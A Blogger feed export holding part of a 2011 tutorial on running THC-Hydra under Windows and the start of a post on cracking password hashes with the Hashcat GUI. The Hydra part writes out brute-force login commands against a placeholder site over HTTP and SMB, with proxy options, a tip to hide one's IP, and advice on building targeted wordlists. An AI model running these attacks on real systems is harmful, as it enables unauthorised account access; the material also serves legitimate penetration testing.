Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt; &lt;/span&gt;HTTPS-GET, HTTPS-HEAD, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NNTP, PCNFS, POP3,&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt; &lt;/span&gt;POSTGRES, REXEC, SAP/R3, SMB,SMBNT, SMTP, SNMP, SOCKS5,&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SSH(v1 and v2),&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt; &lt;/span&gt;Subversion, Teamspeak (TS2), TELNET, VMware-Auth, VNC and XMPP.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;PRO TIP #1:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;A key tip to helping stay secure is to always use a VPN connection when testing to help hide your IP, but Proxies are also a great thing to use. If you need a list of up to date working proxies please see my page dedicated to this here: http://kaoticcreations.blogspot.com/p/free-proxy-list-anonymous-and-elite.html. Once you have identified the proxy you will be using you can incorporate it into THCHydra when testing.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;If you are using the &lt;b style="mso-bidi-font-weight: normal;"&gt;http/www&lt;/b&gt; &lt;b style="mso-bidi-font-weight: normal;"&gt;service&lt;/b&gt; for cracking then you need to use the following argument in your command you are using:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: ./hydra -m /dir/ -l dumbuser -P /path/to/your/passlist www.tagetsite.com http -HYDRA_PROXY_HTTP="http://10.10.10.10:8080/"&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 2;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;If you are using &lt;b style="mso-bidi-font-weight: normal;"&gt;any other service&lt;/b&gt; for cracking then you will need to use this format instead (very similar but notice the end of the argument changes from HTTP to CONNECT):&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: ./hydra -m LH -l dumbuseradmin -P sam.dump www.tagetsite.com smbnt -HYDRA_PROXY_CONNECT="10.10.10.10:8080"&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;If you need to enter credentials to use your proxy then you would add this to the end of either option:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: HYDRA_PROXY_AUTH="user:pass"&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 2;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: ./hydra -m LH -l dumbuseradmin -P sam.dump www.tagetsite.com smbnt -HYDRA_PROXY_CONNECT="10.10.10.10:8080" -HYDRA_PROXY_AUTH="user:pass"&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;PRO TIP#2:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;A strong word list is also very helpful when it comes to cracking, so try to keep manageable word lists or use tools to help create narrowed down word lists for better, or more targeted, results. THCHydra comes with the PW-INSPECTOR tool which can be used to trim a wordlist down based on password policy or known details. I like to use the word list tools provided by the Hashcat team as well as a tool called Shmoosh2x64.exe. The Hashcat team has a set of tools to help with expanding, sorting, and splitting wordlists and the shmoosh tool helps to combine multiple wordlists while also sorting out duplicates so you get a new wordlist that is full of unique words. I suggest playing with them all as they can all come in handy in various occasions, and all have been documented on their respective sites if you need help with the proper command syntax to use (Google is your friend). If you need to find a good wordlist just search around Google as there are many out there, and I also highly suggest tools like CeWL, CUPP (Common User Passwords Profiler), or WyD (Who's Your Daddy Password Profiler) which can be used to spider sites to help create wordlists based on unique words found on the site that you can then turn around and use to performing bruteforce attacks with (as mentioned above start focused if you can and then broaden your search/attempts to increase your effectiveness). &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Hopefully this tutorial has showed you how you can get the latest version of THCHydra working under a Windows 7 environment. This should be another great tool to add to your collection and along with my previous post on the Hashcat tools you should be covered now for all of you password cracking needs, both local and remote. I may cover some word list techniques down the road to complete the series and create a triple threat. I also hope this tutorial helps to ignite some creativity in others to think outside the box for what tools are available to them and how they can be used. &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Enjoy, and until next time...&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;H.R.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;&lt;span style="font-family: Calibri;"&gt;UPDATE - &lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Here is a&amp;nbsp;VIDEO of showing how to get XHYDRA working under Backtrack 5:&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://3.gvt0.com/vi/OErccTu0yqM/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/OErccTu0yqM&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/OErccTu0yqM&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-712616321620587648?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/cHmt8bgPkgjnawM6T4ApkaVzwlg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cHmt8bgPkgjnawM6T4ApkaVzwlg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/cHmt8bgPkgjnawM6T4ApkaVzwlg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cHmt8bgPkgjnawM6T4ApkaVzwlg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/3wHIoPOJpc8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/712616321620587648/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/06/how-to-setup-working-thchydra-and.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/712616321620587648?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/712616321620587648?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/3wHIoPOJpc8/how-to-setup-working-thchydra-and.html" title="How to Setup WORKING THCHydra and Cygwin Environment on Windows 7" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/06/how-to-setup-working-thchydra-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEUBQn4yeSp7ImA9WhZaEk0.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-655439925196301472</id><published>2011-06-04T14:58:00.001-05:00</published><updated>2011-06-27T14:17:33.091-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-27T14:17:33.091-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Hashcat-GUI" /><category scheme="http://www.blogger.com/atom/ns#" term="Hash Cracking" /><category scheme="http://www.blogger.com/atom/ns#" term="Hash Type" /><category scheme="http://www.blogger.com/atom/ns#" term="CPU" /><category scheme="http://www.blogger.com/atom/ns#" term="oclHashcat-lite" /><category scheme="http://www.blogger.com/atom/ns#" term="oclHashcat" /><category scheme="http://www.blogger.com/atom/ns#" term="MySQL" /><category scheme="http://www.blogger.com/atom/ns#" term="oclHashcat-plus" /><category scheme="http://www.blogger.com/atom/ns#" term="cudaHashcat" /><category scheme="http://www.blogger.com/atom/ns#" term="cudaHashcat-lite" /><category scheme="http://www.blogger.com/atom/ns#" term="cudaHashcat-plus" /><category scheme="http://www.blogger.com/atom/ns#" term="MD5" /><category scheme="http://www.blogger.com/atom/ns#" term="SHA-1" /><category scheme="http://www.blogger.com/atom/ns#" term="GPU Cracking" /><category scheme="http://www.blogger.com/atom/ns#" term="Password Cracking" /><category scheme="http://www.blogger.com/atom/ns#" term="GPU" /><category scheme="http://www.blogger.com/atom/ns#" term="GUI" /><title>Cracking Password Hashes with CPU &amp; GPU Power</title><content type="html">&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;strong&gt;UPDATE: New video at bottom...&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Calibri;"&gt;Today I am going to tell you about a kick ass tool for cracking hashes on Windows platform that is capable of leveraging the power of your CPU or even better the power of your GPU(s)...or BOTH. I am even going to use a few pictures for a first, hope you like it. The genius developers behind Hashcat and oclHashcat just released a new version which puts everything in a nice streamlined GUI that is very simple to use and works with both NVidia (CUDA) and ATI (OpenCL) cards, or just plain old CPU power. If you're a console junkie they still have those versions available independently for download as well. You can find them all here: &lt;a href="http://hashcat.net/files/"&gt;http://hashcat.net/files/&lt;/a&gt;. You can choose the one you want from the options on the left, but today I am going to be covering the wonderful new GUI that was just released (hashcat-gui_v0.4.2). I highly suggest you wonder the Hashcat site after you read through this as it is full of knowledge and well written overviews and examples. For now, I will cover some basics...&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;The entire suite of tools together with CPU and GPU is very powerful which helps to exponentially speed up the time to recovery and are capable of cracking the following types of hashes:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l3 level1 lfo4; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;MD5 (and MANY variations)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l3 level1 lfo4; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;SHA1 (and variations)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l3 level1 lfo4; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;MySQL&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l3 level1 lfo4; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;SSHA-1&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l3 level1 lfo4; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;MD4&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l3 level1 lfo4; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;NTLM&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l3 level1 lfo4; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Domain Cached Credentials (DCC)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l3 level1 lfo4; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;MSSQL&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l3 level1 lfo4; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;SHA256&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l3 level1 lfo4; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;SHA-512&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l3 level1 lfo4; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Oracle 11G&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l3 level1 lfo4; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;DES(Unix)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;A few other highlights worth mentioning are that it does not require any installation (can run from USB) and it is FREE and also works on both 32 and 64 bit operating systems. The tool set is also capable of working under Linux and the console versions come pre-loaded with Backtrack 4 and 5 but I am excited and focused on the latest GUI release so I won’t be covering those as I am tired of typing out the commands (hence my excitement). The latest GUI wraps all of the previous console releases under one roof (hashcat, oclHashcat, oclHashcat-plus, and oclHashcat-lite). Now for some overview and review...&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;You will need to download the software from the link I gave you above and unzip the folder to wherever you would like to run it from. If you are using the GUI version then it doesn’t matter, if you are using the console version you need to navigate to that folder for it to work unless you modify your environment paths. You can just double click on the hashcat-gui64.exe or hashcat-gui32.exe, depending on your setup and it will launch the GUI. You should see this first (choose the one that fits your system); &lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; clear: both; text-align: center;"&gt;&lt;a href="http://img846.imageshack.us/img846/6462/28733229.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="120" src="http://img846.imageshack.us/img846/6462/28733229.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Choose CUDA for NVidia cards and OpenCL for ATI cards or CPU if you don’t have any GPU to use. NOTE: If you select one of the GPU options it will load the CPU requirements as well so you only need to choose one option. Then it will load the GUI with all of the needed tools, and will then look like this:&lt;span style="mso-no-proof: yes;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img853.imageshack.us/img853/8694/82057246.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://img853.imageshack.us/img853/8694/82057246.png" t8="true" width="276" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;&lt;span style="font-family: Calibri;"&gt;Hashcat (Tab1):&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Let’s begin with an overview of Hashcat first and then I will take you through the other tabs. Hashcat is the part of the tool that leverages the CPU power to crack hashes, while the rest of the tools/tabs we will cover rely on the GPU(s). You will need to place your hashes in a file so you can load it in the tool, just click on open and browse to find and load. Next you can choose to check to remove the cracked hashes or not. I like to move copies into the local Hashcat folder to work on so I have backups elsewhere and find it nice to size it down as I go through all of my variations to get an idea of what is working and what isn’t (helps if you are working on large lists). You can also change the HASH:PASS separator if you do not like the default ":", but this is not typically needed. Also I have a nice trick I will share later that works if you keep the default. Next comes the wordlists, you can add as many as you have and then arrange the order of them as well. Simply click on the "Add files" button and browse to where you keep your Dictionary files. I have used shmoosh2x64.exe to combine all of my wordlists into a single file, I suggest you find a tool that works for you to keep the number to a reasonable level or by category so you can load in the ones you want or arrange as needed after loading them all in. Next you will need to identify the mode and the hash type to use. You can change the mode to alter your word list based on the description, by bruteforce mode, or you can go a step further and use rules to alter your word lists performing a hybrid attack.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
